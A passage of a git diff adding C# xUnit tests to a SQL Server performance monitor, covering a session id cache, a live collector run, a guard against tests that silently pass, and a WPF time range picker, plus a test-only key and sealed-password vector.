+/// real SQL Server (DARLING_TEST_SQL, optional _USER / _PASSWORD) and a store (DARLING_TEST_PG) and skip
+/// when those are unset, as CI does.
+/// </summary>
+public sealed class TargetSessionIdCacheTests
+{
+    [Fact]
+    public async Task TheSameConnectionIdIsLookedUpOnce()
+    {
+        var cache = new TargetSessionIdCache(8);
+        var id = Guid.NewGuid();
+        var calls = 0;
+        Task<int> Lookup(CancellationToken _) { calls++; return Task.FromResult(57); }
+
+        Assert.Equal(57, (await cache.ResolveAsync(id, Lookup, null, TestContext.Current.CancellationToken)).Spid);
+        Assert.Equal(57, (await cache.ResolveAsync(id, Lookup, null, TestContext.Current.CancellationToken)).Spid);
+        Assert.Equal(1, calls);
+        Assert.Equal(1, cache.LookupCount);
+    }
+
+    [Fact]
+    public async Task ADifferentConnectionIdIsANewLookup()
+    {
+        var cache = new TargetSessionIdCache(8);
+        var calls = 0;
+        Task<int> Lookup(CancellationToken _) { calls++; return Task.FromResult(50 + calls); }
+
+        Assert.Equal(51, (await cache.ResolveAsync(Guid.NewGuid(), Lookup, null, TestContext.Current.CancellationToken)).Spid);
+        Assert.Equal(52, (await cache.ResolveAsync(Guid.NewGuid(), Lookup, null, TestContext.Current.CancellationToken)).Spid);
+        Assert.Equal(2, calls);
+    }
+
+    [Fact]
+    public async Task TheBoundIsHonoured_AndTheOldestEntryIsEvicted()
+    {
+        var cache = new TargetSessionIdCache(3);
+        var ids = new[] { Guid.NewGuid(), Guid.NewGuid(), Guid.NewGuid(), Guid.NewGuid() };
+        var calls = 0;
+        Task<int> Lookup(CancellationToken _) { calls++; return Task.FromResult(60 + calls); }
+
+        foreach (var id in ids)
+        {
+            await cache.ResolveAsync(id, Lookup, null, TestContext.Current.CancellationToken);
+        }
+
+        Assert.Equal(3, cache.Count);
+        Assert.Equal(4, calls);
+
+        /* The newest three still hit; the first was evicted and asks again. */
+        await cache.ResolveAsync(ids[3], Lookup, null, TestContext.Current.CancellationToken);
+        Assert.Equal(4, calls);
+        await cache.ResolveAsync(ids[0], Lookup, null, TestContext.Current.CancellationToken);
+        Assert.Equal(5, calls);
+        Assert.Equal(3, cache.Count);
+        Assert.Equal(4096, TargetSessionIdCache.Capacity);
+    }
+
+    [Fact]
+    public async Task AFailedLookupIsNullAndNotCached()
+    {
+        var cache = new TargetSessionIdCache(8);
+        var id = Guid.NewGuid();
+
+        Assert.Null((await cache.ResolveAsync(id, _ => throw new InvalidOperationException("boom"), null, TestContext.Current.CancellationToken)).Spid);
+        Assert.Equal(0, cache.Count);
+
+        /* A non-positive answer is not a session id either. */
+        Assert.Null((await cache.ResolveAsync(id, _ => Task.FromResult(0), null, TestContext.Current.CancellationToken)).Spid);
+        Assert.Equal(0, cache.Count);
+
+        /* The next run tries again and succeeds. */
+        Assert.Equal(44, (await cache.ResolveAsync(id, _ => Task.FromResult(44), null, TestContext.Current.CancellationToken)).Spid);
+        Assert.Equal(3, cache.LookupCount);
+    }
+
+    [Fact]
+    public async Task AnEmptyConnectionIdIsNeverLookedUp()
+    {
+        var cache = new TargetSessionIdCache(8);
+        Assert.Null((await cache.ResolveAsync(Guid.Empty, _ => Task.FromResult(9), null, TestContext.Current.CancellationToken)).Spid);
+        Assert.Equal(0, cache.LookupCount);
+    }
+
+    [Fact]
+    public async Task AClosedConnection_HasAnEmptyConnectionId_SoTheLookupIsSkipped()
+    {
+        var cache = new TargetSessionIdCache(8);
+        using var connection = new SqlConnection("Server=127.0.0.1,1;Connect Timeout=1;Encrypt=false");
+        Assert.Null((await cache.ResolveAsync(connection, null, TestContext.Current.CancellationToken)).Spid);
+        Assert.Equal(0, cache.Count);
+        Assert.Equal(0, cache.LookupCount);
+    }
+
+    [Fact]
+    public async Task ARealCancellationPropagates_AndTheCacheIsUnchanged()
+    {
+        var cache = new TargetSessionIdCache(8);
+        using var cts = new CancellationTokenSource();
+        await cts.CancelAsync();
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(async () =>
+            await cache.ResolveAsync(Guid.NewGuid(), ct => { ct.ThrowIfCancellationRequested(); return Task.FromResult(5); }, null, cts.Token));
+        Assert.Equal(0, cache.Count);
+    }
+
+    [Fact]
+    public async Task ALookupTimeout_WithoutACancelledToken_IsStillNullNotAThrow()
+    {
+        var cache = new TargetSessionIdCache(8);
+        var result = await cache.ResolveAsync(Guid.NewGuid(), _ => throw new OperationCanceledException(), null, TestContext.Current.CancellationToken);
+        Assert.Null(result.Spid);
+        Assert.Equal(0, cache.Count);
+    }
+
+    [Fact]
+    public async Task TheAnswerIsFiledUnderTheConnectionIdReadAfterTheLookup()
+    {
+        var cache = new TargetSessionIdCache(8);
+        var before = Guid.NewGuid();
+        var after = Guid.NewGuid();
+
+        var first = await cache.ResolveAsync(before, _ => Task.FromResult(61), null, TestContext.Current.CancellationToken, () => after);
+        Assert.Equal(61, first.Spid);
+        Assert.Equal(after, first.Key);
+        Assert.Equal(1, cache.Count);
+
+        /* The old id has no entry (a lookup is issued again); the new id hits. */
+        var calls = 0;
+        Task<int> Lookup(CancellationToken _) { calls++; return Task.FromResult(99); }
+        Assert.Equal(61, (await cache.ResolveAsync(after, Lookup, null, TestContext.Current.CancellationToken)).Spid);
+        Assert.Equal(0, calls);
+        Assert.Equal(99, (await cache.ResolveAsync(before, Lookup, null, TestContext.Current.CancellationToken)).Spid);
+        Assert.Equal(1, calls);
+    }
+
+    [Fact]
+    public async Task AnEvictedConnectionIdAsksAgain_AndAReplacedConnectionIsDiscarded()
+    {
+        var cache = new TargetSessionIdCache(2);
+        var id = Guid.NewGuid();
+        var other = Guid.NewGuid();
+        var calls = 0;
+        Task<int> Lookup(CancellationToken _) { calls++; return Task.FromResult(70 + calls); }
+
+        await cache.ResolveAsync(id, Lookup, null, TestContext.Current.CancellationToken);
+        await cache.ResolveAsync(other, Lookup, null, TestContext.Current.CancellationToken);
+
+        Assert.False(cache.DiscardIfReplaced(id, id));
+        Assert.False(cache.DiscardIfReplaced(Guid.Empty, id));
+        Assert.Equal(2, cache.Count);
+
+        Assert.True(cache.DiscardIfReplaced(id, Guid.NewGuid()));
+        Assert.Equal(1, cache.Count);
+        Assert.Equal(73, (await cache.ResolveAsync(id, Lookup, null, TestContext.Current.CancellationToken)).Spid);
+        Assert.Equal(3, calls);
+
+        /* The queue stays consistent with the dictionary: the bound still holds after an eviction. */
+        await cache.ResolveAsync(Guid.NewGuid(), Lookup, null, TestContext.Current.CancellationToken);
+        Assert.Equal(2, cache.Count);
+    }
+
+    internal static MonitoredServer LiveServer(string host)
+    {
+        var user = Environment.GetEnvironmentVariable("DARLING_TEST_SQL_USER");
+        return new MonitoredServer
+        {
+            Name = "darling-spid-e2e",
+            Host = host,
+            Auth = string.IsNullOrEmpty(user) ? "integrated" : "sql",
+            Username = user,
+            Password = Environment.GetEnvironmentVariable("DARLING_TEST_SQL_PASSWORD"),
+            TrustServerCertificate = true,
+        };
+    }
+
+    [Fact]
+    public async Task Live_TheProductConnection_ReturnsTheTrueSpid_AndAPooledReopenIssuesNoSecondLookup()
+    {
+        var host = Environment.GetEnvironmentVariable("DARLING_TEST_SQL");
+        Assert.SkipWhen(string.IsNullOrEmpty(host), "Set DARLING_TEST_SQL to run the live session id check.");
+        var ct = TestContext.Current.CancellationToken;
+
+        var connectionString = new SqlConnectionStringBuilder(MonitoredServerConnection.BuildConnectionString(LiveServer(host!), Environment.GetEnvironmentVariable("DARLING_TEST_SQL_PASSWORD")))
+        {
+            Pooling = true,
+            MaxPoolSize = 1,
+        }.ConnectionString;
+        Assert.True(new SqlConnectionStringBuilder(connectionString).MultipleActiveResultSets, "the product string is MARS");
+
+        var cache = new TargetSessionIdCache(8);
+        int first;
+        Guid firstId;
+        await using (var one = new SqlConnection(connectionString))
+        {
+            await one.OpenAsync(ct);
+            Assert.Equal(0, one.ServerProcessId);
+            first = ((await cache.ResolveAsync(one, null, ct)).Spid).GetValueOrDefault();
+            firstId = one.ClientConnectionId;
+
+            using var truth = new SqlCommand("SELECT @@SPID;", one);
+            Assert.Equal((int)(short)first, Convert.ToInt32(await truth.ExecuteScalarAsync(ct)));
+        }
+
+        Assert.True(first > 0);
+        Assert.Equal(1, cache.LookupCount);
+
+        await using (var two = new SqlConnection(connectionString))
+        {
+            await two.OpenAsync(ct);
+            Assert.Equal(firstId, two.ClientConnectionId);
+            Assert.Equal(first, (await cache.ResolveAsync(two, null, ct)).Spid);
+        }
+
+        Assert.Equal(1, cache.LookupCount);
+        SqlConnection.ClearAllPools();
+    }
+}
diff --git a/Darling/Darling.Tests/TargetSessionIdLiveStoreTests.cs b/Darling/Darling.Tests/TargetSessionIdLiveStoreTests.cs
new file mode 100644
index 0000000000..30399d861d
--- /dev/null
+++ b/Darling/Darling.Tests/TargetSessionIdLiveStoreTests.cs
@@ -0,0 +1,75 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: this fact mints its own scratch database through ScratchPostgres and never touches another
+   test's rows, so it is deliberately NOT [Collection("live-postgres")]. */
+
+/// <summary>
+/// The live end-to-end half of the target session id work (#5132): a real collector run against a real SQL
+/// Server records a positive <c>target_session_id</c> in a scratch store. Skips without DARLING_TEST_SQL and
+/// DARLING_TEST_PG, as CI does.
+/// </summary>
+public sealed class TargetSessionIdLiveStoreTests
+{
+    [Fact]
+    public async Task Live_AFullCollectorRun_RecordsANonNullTargetSessionId_InTheStore()
+    {
+        var pg = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        var host = Environment.GetEnvironmentVariable("DARLING_TEST_SQL");
+        Assert.SkipWhen(string.IsNullOrEmpty(pg) || string.IsNullOrEmpty(host),
+            "Set DARLING_TEST_PG and DARLING_TEST_SQL to run the live session id E2E.");
+        var ct = TestContext.Current.CancellationToken;
+
+        var scratch = await ScratchPostgres.CreateAsync(pg!, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+            await using (var migrate = await dataSource.OpenConnectionAsync(ct))
+            {
+                await PgMigrations.MigrateAsync(migrate, ct);
+            }
+
+            var runtime = await DarlingServerConnector.ConnectAsync(TargetSessionIdCacheTests.LiveServer(host!), null, ct);
+            var runner = new DarlingCollectorRunner(dataSource, new CollectorDeltaCalculator());
+            var result = await runner.RunAsync(WaitStatsCollector.Instance, runtime, ct);
+
+            Assert.NotNull(result.Drain);
+            Assert.True(result.Drain!.Value.TargetSessionId > 0, "the run must carry the target's session id");
+
+            await DarlingObservability.LogCollectionAsync(
+                dataSource, runtime, "wait_stats", "SUCCESS", result.Rows, result.SqlMs, result.StorageMs, null,
+                fanout: null, phases: null, drain: result.Drain, fetchPhases: null, sweepPeerMaxMs: null, null, ct);
+
+            await using var verify = await dataSource.OpenConnectionAsync(ct);
+            using var read = new NpgsqlCommand(
+                "SELECT target_session_id FROM collection_log WHERE server_id = $1 AND collector_name = 'wait_stats' ORDER BY collection_time DESC LIMIT 1", verify);
+            read.Parameters.AddWithValue(runtime.ServerId);
+            var stored = await read.ExecuteScalarAsync(ct);
+            Assert.IsType<int>(stored);
+            Assert.True((int)stored! > 0);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => await Task.CompletedTask);
+            await scratch.DisposeAsync();
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/TempDbReservedLabelProvenanceTests.cs b/Darling/Darling.Tests/TempDbReservedLabelProvenanceTests.cs
index 9dcb4f7746..1224217145 100644
--- a/Darling/Darling.Tests/TempDbReservedLabelProvenanceTests.cs
+++ b/Darling/Darling.Tests/TempDbReservedLabelProvenanceTests.cs
@@ -61,6 +61,8 @@ namespace Darling.Tests;
 /// And a mislabel on some OTHER tempdb number (a field naming reserved MB as "used") is outside the
 /// property: this pin is about the percentage.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public class TempDbReservedLabelProvenanceTests
 {
     /// <summary>
diff --git a/Darling/Darling.Tests/TestData/password-seal-v1-vector.json b/Darling/Darling.Tests/TestData/password-seal-v1-vector.json
new file mode 100644
index 0000000000..99bc32d3c7
--- /dev/null
+++ b/Darling/Darling.Tests/TestData/password-seal-v1-vector.json
@@ -0,0 +1,22 @@
+{
+  "note": "test-only key, used nowhere else",
+  "algorithm": "RSA3072-OAEP-SHA256/A256GCM",
+  "keyId": "27eff058f1387123",
+  "publicKeySpki": "MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEA39XnMrJShL4h3yhffHxE7P2t1TGmcdn1dbXddZZqCcsZIiKvG5\u002BtoxACYtIkG0LMtlOM0sw2caqtJ2l51tvXE9cTh9801z//vYXQSVfwc3bd0g2iG\u002BoUrtbR/lYJN23lwMw\u002B3cnk54mNR10Drg5O01eKHUWbptY9rv6zZNdLxCZDll0G/4/ur9CQoNhxpK88RVIjy9oYiBlxLrZ2\u002Bj2Ld4cLy\u002BtWCHiK4JvPjEVHGuOASJlMrx6l5sDeTKRNLkVrym8qQBgU92rIWtyOjxkKvxrnTVONvQdsTonrqMQPguy4BDV0cNJsZDAUQP0Se5lMdci4cSw1nQBELgqokjhxzw85140IZimZZ8QV88lTZIUEH4Hg3cu8/Vj7z0uHtz4ynImzcowk4osZU6rUNzONcAmpYBsQKoSKlarhYbuCqwTZ1uBQky9y/nJQa4sYiw5bWiB91UbEXYmSRZ\u002Bf1XIN1dw9274K84C7Z7MqJofB6XLG1ItWIu2eN8ltVZdhtcxNAgMBAAE=",
+  "privateKeyPkcs8": "MIIG/QIBADANBgkqhkiG9w0BAQEFAASCBucwggbjAgEAAoIBgQDf1ecyslKEviHfKF98fETs/a3VMaZx2fV1td11lmoJyxkiIq8bn62jEAJi0iQbQsy2U4zSzDZxqq0naXnW29cT1xOH3zTXP/\u002B9hdBJV/Bzdt3SDaIb6hSu1tH\u002BVgk3beXAzD7dyeTniY1HXQOuDk7TV4odRZum1j2u/rNk10vEJkOWXQb/j\u002B6v0JCg2HGkrzxFUiPL2hiIGXEutnb6PYt3hwvL61YIeIrgm8\u002BMRUca44BImUyvHqXmwN5MpE0uRWvKbypAGBT3asha3I6PGQq/GudNU429B2xOieuoxA\u002BC7LgENXRw0mxkMBRA/RJ7mUx1yLhxLDWdAEQuCqiSOHHPDznXjQhmKZlnxBXzyVNkhQQfgeDdy7z9WPvPS4e3PjKcibNyjCTiixlTqtQ3M41wCalgGxAqhIqVquFhu4KrBNnW4FCTL3L\u002BclBrixiLDltaIH3VRsRdiZJFn5/Vcg3V3D3bvgrzgLtnsyomh8HpcsbUi1Yi7Z43yW1Vl2G1zE0CAwEAAQKCAYAVUag9meJmJj3PpWbC0os2D0tZPOtfeKT6WyIGqxbaa\u002B\u002Bu4qLO/LxrBYFUrDMoLYqV6wtEoJKm7NylHlSudC3eA\u002BQmUsoTnlLbWD1oXunV9YJXGVlRU1A4/tjtYoBqORti65EpSqt0qhM8ss1A7LfxRSswcorKrykc28F2X1MmEYbqcV3TRYA0WqcLytG4H8Cb0aD7L4CapeGz00ktuGLqNYCYIYgGMoT3s59m\u002Bso082oqf/9fxomCmugRYKzBNXdLIY1/n46Q1JTHn4aEmej8Lt7i5Jsrh0fZ\u002BCxsavQROEFXr68L3MUv5vIYKRQf4Qha6iedHGOHySe9hdjkagdRxgpMZKjcI11lEClKuEoKC6HVWLO3MVJYq4ZQqK4Waht0sxDzs5LfvAABpSuYtlrCpulue5wnlRr2HqGsZQpq6A9Vq/0U2KjExuHPW2FIzGpZNOU3ZoEVCWNfXsVxOe/mwVDRwejaSybGUOLGuNYhcacrTCc8\u002Boq9qSZeql8wmfkCgcEA5OwciBsBSo8803o6otCveJF8LMgJf0/xbTcP8UsVg8QYFu3FwOYvH2hSypfbhpaxe2oz2RAelD4GjcwHWSIT03\u002B4ATaAuACx3O5UTnsXfdZIPpUxOYFLELWTwrdI9QPeYkCFUm//ezIbFjT1aTwC4mARqFGvVT0hao5JIwmSpe0Fnqd73FdWIDDj2REMCQy0gYfVNMtqBVgh0AXRzdZaAid7eWV\u002B2iXJd/YokfTofs6VaZjzsGTxbWellquAzhunAoHBAPpPwxwZCiT6KAYupXNcOTs5J3dZJpAiI07odKtGweJvzKIFYEo4JsQo35oxMvsIVmhDBJVSHj7I/HhlvRnMTzntA0FCYeqFXaQI7Os1RGsAmY1RsoRXLYQPzZarGXl2tGjvyYgDmNdboOkCKga68kYRbs/w\u002BF3Mg9u6a1XL/PtlAS4pIhyQ2U1\u002B6zV\u002BXrCG5TNY026KQvx4SsdfsqIrMy7zMqHipv6ybALyMhK\u002Bc5yvfMJ\u002ByhSf0UiKdqFxqs\u002BG6wKBwQDFcXQmXAxgD2zqBXk/ZniBqBGO2jV\u002BziewCBbDCfyTenVAiXHPr3kjQKpvvEyGJ8EKbg4sAIAvYdPrRvdrhD3PZFADE8wvZ8IAiLrEOdyIF2KWP72GGKLy1XmNLuJJGT4cRgP3l0umKRA9tg2Y5z6hmzR/lXyBK0mACxq/kokefXEkZtYotFc/Souqc86Km5\u002BwPMTCVVOrKll3fx12yJM3WnBfww\u002BG/aJnyjMxuCcy/\u002BDUhCxijp3Au\u002B2RJ3jfy\u002B8CgcBhYhC9aLx6oFxb81/pHrMhaF4DX8rR/oYQF/3z\u002BMZLq0VIr6DDn07tuB0uJv/3jEnZrGEnGtirgpQ\u002B3w4P8F3OYniGtiXUEOjafaJ267Vfj88tnOA//o61t1Q7zvtNNzJ/NPMKGKQo/PwASxhAoBDL09Jx0gU\u002BsOeH3\u002BIMch1NTQGFjPk5dd0k\u002BkDWAgEi2ohnTqKLef0PrlkhcgjUcMwr8u/67Wwc4RuGleWHR1NBXUDDhoJmPbs1ZrE6pDdZH9sCgcAMYBhFqQcHJRrV5f\u002BQxFYD\u002Bk\u002BGlIKyQxMWF2MHpd996ISqEctrmuqfTFRAGfMIokXfd0rMgECUtrw8I2NXXf4KFMi83ZzY1SOCnSBbDRtf1jY6BcB0TDMR3H4R9bvcPPWxN7CEKFNoqmi36ICmGxL9RHhkI/NcNbPwqJcSvXAU25as3mqS5jq6IPiwbtH6t46xqWRozitEE3GyvIBJ5UNCZfvUwXv1Bkhw\u002BsqjpNzJCSvzBz75uwdqbPwk\u002BCe/bZo=",
+  "binding": {
+    "purpose": "server",
+    "host": "example-sql-01",
+    "port": 1433,
+    "engine": "sqlserver",
+    "database": "example_db",
+    "readOnlyIntent": false,
+    "auth": "sql",
+    "username": "example_login",
+    "encryptMode": "Mandatory",
+    "trustServerCertificate": false,
+    "multiSubnetFailover": false
+  },
+  "plaintext": "p@ss-not-real",
+  "sealed": "sealed:v1:27eff058f1387123:pmT7uFFA1leKrM2F8g52qqW1E4nX7\u002BUhg4eqMnIkASD/5PCkURyx4MAQrODiWtz8WdqyO3ZK3/Qo2fv0Hh7ad2ZXTe4wX49YIHnYYBLyMKrqt0eAs/TCH8bHa0f8pgjs/BrzP3MYT8t0MyNgfVr416xrfAB2Mv/fH0oof9z\u002Bu7rBn/jhXPJ91UB8fjIpQpyYVPemADre9aVj2TQOywDHycpnnZ6itAZ\u002Bajc1y/vmm6oDWuCJmv/lCEptRlrUz4O51DHvh70px6s3APxbq0EhXfw44xPfRu\u002B320M5VWuR2aLdlWBy/tOzJ0SIp7if09RsWXz2iWSlBv6ih0O505eJsHFFi9WgAef\u002B1GEnWi1U5v5z\u002BT41khDqlOq4FW/a43ADjsVLUBQMRDR\u002BnBWeEE4suwOcrvbyhNa1DKexrS2N0rK4z1\u002BSE7IwYyw3PLQFj5dtKfLd6zgk6TCmxyrW2FEhXF29sKq9Q1nivrsTP7vwriQ\u002B2Z3LSX6X/n8g9GpZpmK8929pzoOEgbbchiX9SswmI95xkov\u002BxW09VtunwpWlvLLQ28m5LOGkCHw/9\u002BtMlAwA0TrIth5nE5g691j5"
+}
diff --git a/Darling/Darling.Tests/TestKeyRings.cs b/Darling/Darling.Tests/TestKeyRings.cs
new file mode 100644
index 0000000000..12cc020813
--- /dev/null
+++ b/Darling/Darling.Tests/TestKeyRings.cs
@@ -0,0 +1,23 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+
+namespace Darling.Tests;
+
+/// <summary>The two password key rings the write-path tests ask for (#5366): one that seals and opens with a key made for
+/// the test run, and one that refuses with the not-ready reason. Tests pass a ring; none sets the service's own.</summary>
+internal static class TestKeyRings
+{
+    /// <summary>A ring over a key generated once for the test run.</summary>
+    public static readonly IPasswordKeyRing Healthy = DarlingPasswordKey.FromPrivateKey(PasswordPrivateKey.Generate());
+
+    /// <summary>A ring that cannot seal, with <see cref="DarlingPasswordKey.NotReadyReason"/>.</summary>
+    public static readonly IPasswordKeyRing NotReady = DarlingPasswordKey.Refusing(DarlingPasswordKey.NotReadyReason);
+}
diff --git a/Darling/Darling.Tests/TestsNoSilentPassGuardTests.cs b/Darling/Darling.Tests/TestsNoSilentPassGuardTests.cs
new file mode 100644
index 0000000000..efcf13358b
--- /dev/null
+++ b/Darling/Darling.Tests/TestsNoSilentPassGuardTests.cs
@@ -0,0 +1,126 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// No <c>[Fact]</c> or <c>[Theory]</c> in either test project may return early from a <c>catch</c> block.
+///
+/// <para>A test that does <c>try { setup(); } catch { return; }</c> is reported as a PASS, not a skip. On any
+/// machine where the setup cannot run it asserts nothing and still reads as coverage: a Windows run of a
+/// symlink test reported "0 skipped" for exactly this reason, when creating a symbolic link needs a privilege
+/// an ordinary session lacks. The honest forms are <c>Assert.Skip(reason)</c> (or <c>Assert.SkipUnless</c>)
+/// when the setup can legitimately be impossible, and letting the exception fail the test when it should
+/// always work.</para>
+///
+/// <para>The scan runs over <see cref="CSharpSourceWalker.StripCommentsAndStrings"/> output, so prose and
+/// literals cannot match. A <c>return;</c> in a catch of a helper that is not itself a test (a listener
+/// shutdown loop, say) is not flagged. There is no exemption list: none was needed.</para>
+/// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
+public sealed class TestsNoSilentPassGuardTests
+{
+    private static readonly Regex TestAttribute = new(@"\[\s*(?:Fact|Theory)\b", RegexOptions.Compiled);
+    private static readonly Regex CatchKeyword = new(@"\bcatch\b", RegexOptions.Compiled);
+    private static readonly Regex BareReturn = new(@"\breturn\s*;", RegexOptions.Compiled);
+
+    /// <summary>The line (1-based) of every bare <c>return;</c> inside a <c>catch</c> block of a test method.</summary>
+    internal static List<int> SilentPassLines(string text)
+    {
+        var code = CSharpSourceWalker.StripCommentsAndStrings(text);
+        var lines = new List<int>();
+
+        foreach (Match attribute in TestAttribute.Matches(code))
+        {
+            var brace = code.IndexOf('{', attribute.Index);
+            var arrow = code.IndexOf("=>", attribute.Index, StringComparison.Ordinal);
+            if (brace < 0 || (arrow >= 0 && arrow < brace))
+            {
+                continue;
+            }
+
+            var body = CSharpSourceWalker.BraceBalanced(code, brace);
+
+            foreach (Match handler in CatchKeyword.Matches(body))
+            {
+                var open = body.IndexOf('{', handler.Index);
+                if (open < 0)
+                {
+                    continue;
+                }
+
+                var block = CSharpSourceWalker.BraceBalanced(body, open);
+                foreach (Match ret in BareReturn.Matches(block))
+                {
+                    var offset = brace + open + ret.Index;
+                    lines.Add(code.Take(offset).Count(c => c == '\n') + 1);
+                }
+            }
+        }
+
+        return lines.Distinct().ToList();
+    }
+
+    [Fact]
+    public void NoTestInEitherProject_ReturnsEarlyFromACatchBlock()
+    {
+        var offenders = new List<string>();
+        var scanned = 0;
+
+        foreach (var project in new[] { "Darling/Darling.Tests", "Lite.Tests" })
+        {
+            var root = RepoFile.PathTo(project);
+            Assert.True(Directory.Exists(root), $"test project folder not found: {root}");
+
+            foreach (var file in Directory.EnumerateFiles(root, "*.cs", SearchOption.AllDirectories))
+            {
+                var relative = Path.GetRelativePath(RepoFile.Root, file);
+                var parts = relative.Split(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
+                if (parts.Contains("bin") || parts.Contains("obj"))
+                {
+                    continue;
+                }
+
+                scanned++;
+                foreach (var line in SilentPassLines(File.ReadAllText(file)))
+                {
+                    offenders.Add($"{relative.Replace('\\', '/')}:{line}");
+                }
+            }
+        }
+
+        Assert.True(scanned > 100, $"the scan found only {scanned} files, so it is reading the wrong place");
+        Assert.True(
+            offenders.Count == 0,
+            "A test that returns from a catch block is reported as a PASS, not a skip, so on a machine where its "
+            + "setup cannot run it asserts nothing and still reads as coverage. Replace the return with "
+            + "Assert.Skip(reason) (or Assert.SkipUnless) when the setup can legitimately be impossible, or let "
+            + "the exception fail the test. Offenders: " + string.Join(", ", offenders));
+    }
+
+    [Fact]
+    public void TheScan_FlagsABareReturnInACatch_AndNothingElse()
+    {
+        const string flagged = "public class T\n{\n    [Fact]\n    public void A()\n    {\n        try { X(); }\n        catch (Exception)\n        {\n            return;\n        }\n    }\n}\n";
+        Assert.Equal(new[] { 9 }, SilentPassLines(flagged));
+
+        const string notATest = "public class T\n{\n    private static void Helper()\n    {\n        try { X(); }\n        catch (Exception) { return; }\n    }\n}\n";
+        Assert.Empty(SilentPassLines(notATest));
+
+        const string explicitSkip = "public class T\n{\n    [Fact]\n    public void A()\n    {\n        try { X(); }\n        catch (Exception ex) { Assert.Skip(ex.Message); }\n        return;\n    }\n}\n";
+        Assert.Empty(SilentPassLines(explicitSkip));
+    }
+}
diff --git a/Darling/Darling.Tests/TimeHonestyRungTests.cs b/Darling/Darling.Tests/TimeHonestyRungTests.cs
index 45f35ba55a..1acefd785d 100644
--- a/Darling/Darling.Tests/TimeHonestyRungTests.cs
+++ b/Darling/Darling.Tests/TimeHonestyRungTests.cs
@@ -58,6 +58,7 @@ namespace Darling.Tests;
 /// after the writer has stored a twin, and after the post-rung rows are gone again); the dedup is pinned in
 /// <c>Lite.Tests/CpuUtilizationCollectorDefinitionTests</c>.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class TimeHonestyRungTests
 {
     private const int RungVersion = 134;
@@ -506,6 +507,7 @@ private static string Dedent(string sql)
 /// against every other live class because it shares the store.
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class TimeHonestyRungLivePostgresTests
 {
     private const int ServerId = -134134;
diff --git a/Darling/Darling.Tests/TimeRangePickerControlTests.cs b/Darling/Darling.Tests/TimeRangePickerControlTests.cs
new file mode 100644
index 0000000000..5666656333
--- /dev/null
+++ b/Darling/Darling.Tests/TimeRangePickerControlTests.cs
@@ -0,0 +1,199 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Windows;
+using System.Windows.Media;
+using System.Windows.Threading;
+using PerformanceMonitor.Ui;
+using Xunit;
+
+/* Darling.Tests only: a Darling file Lite.Tests compiles must be named in build.yml's Lite path filter. */
+namespace Darling.Tests;
+
+/// <summary>#5562: the shared WPF time range picker constructs, renders and raises its event on an STA thread.</summary>
+public sealed class TimeRangePickerControlTests
+{
+    private static readonly TimeZoneInfo NewYork = TimeZoneInfo.FindSystemTimeZoneById("America/New_York");
+    private static readonly DateTime Now = new(2026, 10, 8, 11, 1, 0, DateTimeKind.Unspecified);
+
+    private static TimeRangePicker Build()
+        => new() { ZoneProvider = () => NewYork, NowProvider = () => Now };
+
+    [Fact]
+    public void Constructs_WithTheShortPresetsAndTheCalendarPeriods()
+    {
+        StaTestThread.Run(() =>
+        {
+            var picker = Build();
+            Assert.Equal(9, picker.RollingPanel.Children.Count);
+            Assert.Equal(8, picker.PeriodPanel.Children.Count);
+            Assert.Equal("4h", picker.Value.Id);
+            Assert.Equal("Past 4 hours", picker.ButtonText.Text);
+            Assert.Equal("Oct 8, 3:01 am - Oct 8, 7:01 am (UTC-04:00)", picker.ResolvedText.Text);
+            Assert.False(picker.IsPopupOpen);
+        });
+    }
+
+    [Fact]
+    public void Value_RendersWithoutRaisingTheEvent_AndSelectRaisesIt()
+    {
+        StaTestThread.Run(() =>
+        {
+            var picker = Build();
+            var raised = 0;
+            TimeRangeChangedEventArgs? last = null;
+            picker.RangeChanged += (_, e) => { raised++; last = e; };
+
+            picker.Value = TimeRangeSpec.ForPeriod(CalendarPeriod.WeekToDate);
+            Assert.Equal(0, raised);
+            Assert.Equal("Week to Date", picker.ButtonText.Text);
+            Assert.Equal("Oct 5, 12:00 am - Oct 8, 7:01 am (UTC-04:00)", picker.ResolvedText.Text);
+
+            Assert.True(picker.Select(TimeRangePresets.Find("1w")!));
+            Assert.Equal(1, raised);
+            Assert.Equal("1w", last!.Spec.Id);
+            Assert.Equal(TimeSpan.FromDays(7), last.Range.Span);
+            Assert.Equal("1w", picker.Value.Id);
+        });
+    }
+
+    [Fact]
